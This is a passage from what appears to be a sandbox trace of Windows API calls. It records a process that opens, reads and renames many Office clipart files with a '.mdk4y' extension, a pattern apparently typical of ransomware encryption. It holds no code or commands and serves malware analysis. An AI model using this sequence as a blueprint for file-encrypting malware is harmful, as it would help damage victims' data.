12 [0171.695] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.696] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824692600000) returned 1 [0171.696] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6028, lpOverlapped=0x0) returned 1 [0171.705] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824693500000) returned 1 [0171.705] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824693500000) returned 1 [0171.706] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf.mdk4y")) returned 1 [0171.707] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.707] AreFileApisANSI () returned 1 [0171.707] GetACP () returned 0x4e4 [0171.707] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00685_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00685_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.707] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.708] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824693800000) returned 1 [0171.708] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x108a, lpOverlapped=0x0) returned 1 [0171.709] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824693900000) returned 1 [0171.709] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824693900000) returned 1 [0171.709] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf.mdk4y")) returned 1 [0171.710] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.710] AreFileApisANSI () returned 1 [0171.710] GetACP () returned 0x4e4 [0171.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00686_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00686_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.710] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.711] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824694100000) returned 1 [0171.711] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x112e, lpOverlapped=0x0) returned 1 [0171.723] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824695300000) returned 1 [0171.723] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824695300000) returned 1 [0171.723] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf.mdk4y")) returned 1 [0171.724] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.724] AreFileApisANSI () returned 1 [0171.724] GetACP () returned 0x4e4 [0171.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00693_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00693_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.724] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.725] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824695500000) returned 1 [0171.725] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1138, lpOverlapped=0x0) returned 1 [0171.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824696500000) returned 1 [0171.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824696500000) returned 1 [0171.735] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf.mdk4y")) returned 1 [0171.736] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.736] AreFileApisANSI () returned 1 [0171.736] GetACP () returned 0x4e4 [0171.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00720_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00720_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.736] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.737] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824696700000) returned 1 [0171.737] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3926, lpOverlapped=0x0) returned 1 [0171.738] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824696800000) returned 1 [0171.738] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824696800000) returned 1 [0171.738] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf.mdk4y")) returned 1 [0171.739] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.739] AreFileApisANSI () returned 1 [0171.739] GetACP () returned 0x4e4 [0171.739] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00723_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00723_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.739] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.739] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824696900000) returned 1 [0171.739] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1afc, lpOverlapped=0x0) returned 1 [0171.744] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824697400000) returned 1 [0171.744] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824697400000) returned 1 [0171.744] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf.mdk4y")) returned 1 [0171.745] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.745] AreFileApisANSI () returned 1 [0171.745] GetACP () returned 0x4e4 [0171.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00726_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00726_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.745] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.746] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824697600000) returned 1 [0171.746] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb1a4, lpOverlapped=0x0) returned 1 [0171.757] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824698700000) returned 1 [0171.757] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824698700000) returned 1 [0171.758] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf.mdk4y")) returned 1 [0171.759] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.759] AreFileApisANSI () returned 1 [0171.759] GetACP () returned 0x4e4 [0171.759] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00737_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00737_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.759] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.760] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824699000000) returned 1 [0171.760] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9e2c, lpOverlapped=0x0) returned 1 [0171.761] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824699100000) returned 1 [0171.761] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824699100000) returned 1 [0171.762] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf.mdk4y")) returned 1 [0171.763] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.763] AreFileApisANSI () returned 1 [0171.763] GetACP () returned 0x4e4 [0171.763] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00833_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00833_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.763] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.763] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824699300000) returned 1 [0171.763] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1ca0, lpOverlapped=0x0) returned 1 [0171.779] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824700900000) returned 1 [0171.779] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824700900000) returned 1 [0171.780] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf.mdk4y")) returned 1 [0171.781] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.781] AreFileApisANSI () returned 1 [0171.781] GetACP () returned 0x4e4 [0171.781] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00898_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00898_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.781] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.782] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824701200000) returned 1 [0171.782] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1908, lpOverlapped=0x0) returned 1 [0171.815] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824704500000) returned 1 [0171.815] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824704500000) returned 1 [0171.816] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf.mdk4y")) returned 1 [0171.817] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.817] AreFileApisANSI () returned 1 [0171.817] GetACP () returned 0x4e4 [0171.817] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00934_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00934_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.817] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.817] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824704700000) returned 1 [0171.817] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3100, lpOverlapped=0x0) returned 1 [0171.821] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824705100000) returned 1 [0171.821] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824705100000) returned 1 [0171.822] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf.mdk4y")) returned 1 [0171.823] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.823] AreFileApisANSI () returned 1 [0171.823] GetACP () returned 0x4e4 [0171.823] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00998_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00998_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.823] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.824] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824705400000) returned 1 [0171.824] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2904, lpOverlapped=0x0) returned 1 [0171.834] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824706400000) returned 1 [0171.834] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824706400000) returned 1 [0171.834] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf.mdk4y")) returned 1 [0171.840] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.840] AreFileApisANSI () returned 1 [0171.840] GetACP () returned 0x4e4 [0171.840] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE01160_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE01160_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.840] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.840] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824707000000) returned 1 [0171.840] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x984, lpOverlapped=0x0) returned 1 [0171.842] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824707200000) returned 1 [0171.842] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824707200000) returned 1 [0171.842] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf.mdk4y")) returned 1 [0171.843] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.843] AreFileApisANSI () returned 1 [0171.843] GetACP () returned 0x4e4 [0171.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE01172_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE01172_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.843] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.843] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824707300000) returned 1 [0171.843] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x59c, lpOverlapped=0x0) returned 1 [0171.844] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824707400000) returned 1 [0171.844] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824707400000) returned 1 [0171.844] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf.mdk4y")) returned 1 [0171.845] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.845] AreFileApisANSI () returned 1 [0171.845] GetACP () returned 0x4e4 [0171.845] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE01191_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE01191_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.845] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 